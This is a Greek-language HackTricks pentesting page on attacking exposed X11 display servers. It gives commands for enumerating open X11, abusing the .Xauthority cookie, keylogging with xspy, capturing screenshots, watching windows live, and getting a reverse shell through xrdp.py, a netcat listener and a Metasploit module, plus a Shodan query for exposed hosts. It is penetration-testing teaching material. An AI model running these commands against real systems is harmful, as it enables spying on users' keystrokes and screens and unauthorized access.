6000 - Pentesting X11
Reading time: 5 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Basic Information
X Window System (X) είναι ένα ευέλικτο σύστημα παραθύρων που είναι διαδεδομένο σε λειτουργικά συστήματα βασισμένα σε UNIX. Παρέχει ένα πλαίσιο για τη δημιουργία γραφικών user interfaces (GUIs), με μεμονωμένα προγράμματα να χειρίζονται το σχεδιασμό της διεπαφής χρήστη. Αυτή η ευελιξία επιτρέπει ποικιλόμορφες και προσαρμόσιμες εμπειρίες μέσα στο περιβάλλον X.
Default port: 6000
PORT STATE SERVICE
6000/tcp open X11
Enumeration
Ελέγξτε για ανώνυμη σύνδεση:
nmap -sV --script x11-access -p <PORT> <IP>
msf> use auxiliary/scanner/x11/open_x11
Τοπική Καταμέτρηση
Το αρχείο .Xauthority
στον φάκελο του χρήστη χρησιμοποιείται από το X11 για εξουσιοδότηση. Από εδώ:
$ xxd ~/.Xauthority
00000000: 0100 0006 6d61 6e65 7063 0001 3000 124d ............0..M
00000010: 4954 2d4d 4147 4943 2d43 4f4f 4b49 452d IT-MAGIC-COOKIE-
00000020: 3100 108f 52b9 7ea8 f041 c49b 85d8 8f58 1...R.~..A.....X
00000030: 041d ef ...
MIT-magic-cookie-1: Δημιουργία 128bit κλειδιού (“cookie”), αποθήκευσή του στο ~/.Xauthority (ή όπου δείχνει η μεταβλητή περιβάλλοντος XAUTHORITY). Ο πελάτης το στέλνει στον διακομιστή σε απλή μορφή! Ο διακομιστής ελέγχει αν έχει ένα αντίγραφο αυτού του “cookie” και αν ναι, η σύνδεση επιτρέπεται. Το κλειδί δημιουργείται από το DMX.
warning
Για να χρησιμοποιήσετε το cookie θα πρέπει να ορίσετε τη μεταβλητή περιβάλλοντος: export XAUTHORITY=/path/to/.Xauthority
Τοπική Συνεδρία Αρίθμησης
$ w
23:50:48 up 1 day, 10:32, 1 user, load average: 0.29, 6.48, 7.12
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
user tty7 :0 13Oct23 76days 13:37 2.20s xfce4-session
Στο παράδειγμα, localhost:0
εκτελούσε το xfce4-session.
Επαλήθευση Σύνδεσης
xdpyinfo -display <ip>:<display>
xwininfo -root -tree -display <IP>:<display> #Ex: xwininfo -root -tree -display 10.5.5.12:0
Keyloggin
xspy για να καταγράψει τις πληκτρολογήσεις του πληκτρολογίου.
Sample Output:
xspy 10.9.xx.xx
opened 10.9.xx.xx:0 for snoopng
swaBackSpaceCaps_Lock josephtTabcBackSpaceShift_L workShift_L 2123
qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTabDownnTabKP_End KP_Right KP_Up KP_Down KP_Up KP_Up TabmtminusdBackSpacewinTab
Στιγμιότυπα οθόνης
xwd -root -screen -silent -display <TargetIP:0> > screenshot.xwd
convert screenshot.xwd screenshot.png
Remote Desktop View
Τρόπος από: https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref
./xrdp.py <IP:0>
Πρώτα πρέπει να βρούμε το ID του παραθύρου χρησιμοποιώντας το xwininfo
xwininfo -root -display 10.9.xx.xx:0
xwininfo: Window id: 0x45 (the root window) (has no name)
Absolute upper-left X: 0
Absolute upper-left Y: 0
Relative upper-left X: 0
Relative upper-left Y: 0
Width: 1024
Height: 768
Depth: 16
Visual: 0x21
Visual Class: TrueColor
Border width: 0
Class: InputOutput
Colormap: 0x20 (installed)
Bit Gravity State: ForgetGravity
Window Gravity State: NorthWestGravity
Backing Store State: NotUseful
Save Under State: no
Map State: IsViewable
Override Redirect State: no
Corners: +0+0 -0+0 -0-0 +0-0
-geometry 1024x768+0+0
XWatchwin
Για ζωντανή παρακολούθηση πρέπει να χρησιμοποιήσουμε
./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo
./xwatchwin 10.9.xx.xx:0 -w 0x45
Πάρε Shell
msf> use exploit/unix/x11/x11_keyboard_exec
Reverse Shell: Το Xrdp επιτρέπει επίσης τη λήψη αντίστροφης θήκης μέσω του Netcat. Πληκτρολογήστε την ακόλουθη εντολή:
./xrdp.py \<IP:0> –no-disp
Στην διεπαφή μπορείτε να δείτε την επιλογή R-shell.
Στη συνέχεια, ξεκινήστε έναν listener Netcat στο τοπικό σας σύστημα στην θύρα 5555.
nc -lvp 5555
Στη συνέχεια, εισάγετε τη διεύθυνση IP και την πόρτα σας στην επιλογή R-Shell και κάντε κλικ στο R-shell για να αποκτήσετε ένα shell
Αναφορές
- https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref
- https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html
- https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref
Shodan
port:6000 x11
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.